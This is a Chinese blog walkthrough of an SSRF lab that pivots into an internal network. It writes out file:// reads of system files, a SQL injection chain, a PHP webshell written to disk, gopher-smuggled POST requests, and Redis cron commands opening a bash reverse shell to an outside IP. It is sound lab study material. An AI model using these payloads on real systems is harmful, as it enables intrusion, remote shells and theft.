SSRF从外网到内网靶场演练

admin 2025年4月14日11:18:36评论2 views字数 3367阅读11分13秒阅读模式

感谢国光做靶场,学习一些的思路以及多种利用姿势

靶场演练

首先是存在SSRF漏洞的web站点,我们尝试服务端去获取到百度的robots.txt内容

SSRF从外网到内网靶场演练

获取内网信息

file:///etc/passwd
SSRF从外网到内网靶场演练

获取主机名查询静态表,可以看到当前机器ip是172.72.23.21

file:///etc/hosts
SSRF从外网到内网靶场演练

查看arp缓存列表

file:///proc/net/arp
SSRF从外网到内网靶场演练

内网端口探测

配合DICT协议对内网端口进行探测,一般只能探测TCP回显端口

SSRF从外网到内网靶场演练

尝试使用Burp进行爆破,可以看到从21-29都有主机存活,并且有端口开放

SSRF从外网到内网靶场演练

除了DICT协议探测端口外,我们可以使用HTTP协议获取到内网的web信息

我们现在当前是172.72.23.21,先尝试访问下172.72.23.22的80端口,可以看到这里是一个codeexec的页面

SSRF从外网到内网靶场演练

内网目录扫描

尝试对目录进行爆破

SSRF从外网到内网靶场演练
SSRF从外网到内网靶场演练

敏感信息泄漏

SSRF从外网到内网靶场演练

代码注入

shell.php

SSRF从外网到内网靶场演练

由于我们只能通过ssrf访问,尽可能的对其收集我们需要的信息

查看当前文件

SSRF从外网到内网靶场演练

可以看到这里请求失败,是因为空格的问题,我们需要%20代替空格,实际到burp编码是%2520

SSRF从外网到内网靶场演练

查看根路径

SSRF从外网到内网靶场演练

可以看到当前路径下有个flag文件

SSRF从外网到内网靶场演练

SQL注入

尝试访问主机,可以看到这个是存在sql注入的站点

SSRF从外网到内网靶场演练

尝试对其注入进行访问,尝试访问

http://172.72.23.23:80?id=1'
SSRF从外网到内网靶场演练

尝试的payload

http://172.72.23.23:80/?id=1'%20and%201=1--+http://172.72.23.23:80/?id=1'%20and%201=2--+http://172.72.23.23:80/?id=1'%20order%20by%204--+http://172.72.23.23:80/?id=1'%20order%20by%205--+http://172.72.23.23:80/?id=1'%20union%20select%201,2,3,4--+http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,4--+http://172.72.23.23:80/?id=-1'%20union%20select%201,version(),database(),4--+http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='flag_is_here'--+http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,group_concat(content)%20from%20flag_is_here--+
SSRF从外网到内网靶场演练

尝试将shell写入

http://172.72.23.23:80/?id=-1'%20union%20select%201,2,3,'<?php%20system($_GET[1])?>'%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+
SSRF从外网到内网靶场演练

成功获取到flag

SSRF从外网到内网靶场演练

命令执行

尝试对下一个172.72.23.24进行访问

SSRF从外网到内网靶场演练

可以看到功能是一个网络测试功能的接口,这个功能有点高深,其他的注入与代码注入都是get请求,但是我们遇到post请求无法对其进行访问

这也就延伸到gopher协议,协议请求格式如下:

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行:

Accept-Encoding: gzip, deflate

如果不删的话,打出SSRF请求会乱码,会被两次gzip编码

接着在 Burpsuite 中将本 POST 数据包进行两次 URL 编码:

抓包

SSRF从外网到内网靶场演练

对其进行编码

SSRF从外网到内网靶场演练

最终 SSRF 完整的攻击请求的 POST 数据包如下:

gopher://172.72.23.24:80/_TCP流

尝试进行访问

SSRF从外网到内网靶场演练

XXE实体注入

访问172.72.23.25站点

SSRF从外网到内网靶场演练

可以看到是一个登录的时候用户提交的 XML 数据

SSRF从外网到内网靶场演练

尝试构造payload,对其进行二次编码

SSRF从外网到内网靶场演练

对其进行加密,不知道为什么就是无法执行,可以看到这边有xml的返回结果,最终无果

SSRF从外网到内网靶场演练

CVE-2017-12615

Tomcat 中间件,存在 CVE-2017-12615 任意写文件漏洞

尝试传入jsp,利用/进行绕过

SSRF从外网到内网靶场演练
SSRF从外网到内网靶场演练

不知道为什么可以写jsp文件,但是无法把内容写入

Redis未授权

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:

切记需要在burp上空格换成%20,这边&符号要换成%26

# 清空 keydict://172.72.23.27:6379/flushall# 设置要操作的路径为定时任务目录dict://172.72.23.27:6379/config set dir /var/spool/cron/# 设置定时任务角色为 rootdict://172.72.23.27:6379/config set dbfilename root# 设置定时任务内容dict://172.72.23.27:6379/set x "n*/1 * * * * /bin/bash -i >%26 /dev/tcp/192.168.3.198/2333 0>%261n"# 保存操作dict://172.72.23.27:6379/save

我们可以尝试使用dict或者是gopher来进行构造

dict://x.x.x.x:6379/<Redis 命令>
SSRF从外网到内网靶场演练

成功反弹

SSRF从外网到内网靶场演练

Redis认证

我们可以从前面信息搜集看到6379以及80是开着的

可以看到Redis是需要认证的

SSRF从外网到内网靶场演练

80端口是一个存在文件包含的站点

SSRF从外网到内网靶场演练

我们思路就是获取到redis的配置文件中的密码,再进行写马,如果没有的话我们可以尝试进行爆破

常见的redis配置文件

/etc/redis.conf/etc/redis/redis.conf/usr/local/redis/etc/redis.conf/opt/redis/ect/redis.conf
SSRF从外网到内网靶场演练
#认证dict://172.72.23.27:6379/auth P@ssw0rd# 清空 keydict://172.72.23.27:6379/flushall# 设置要操作的路径为定时任务目录dict://172.72.23.27:6379/config set dir /var/spool/cron/# 设置定时任务角色为 rootdict://172.72.23.27:6379/config set dbfilename root# 设置定时任务内容dict://172.72.23.27:6379/set x "n*/1 * * * * /bin/bash -i >%26 /dev/tcp/192.168.3.198/2333 0>%261n"# 保存操作dict://172.72.23.27:6379/save

成功认证,下面步骤则是一样的

SSRF从外网到内网靶场演练

Mysql未授权

我认为这个思路还是很鸡肋,大概记录下思路

大体就是抓取到3389的数据包,执行我们查看数据的操作,之后将数据流转换为gopher数据流,再去发起ssrf请求,执行我们想要的指令

原文始发于微信公众号(Gh0xE9):SSRF从外网到内网靶场演练

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月14日11:18:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF从外网到内网靶场演练https://cn-sec.com/archives/3949492.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息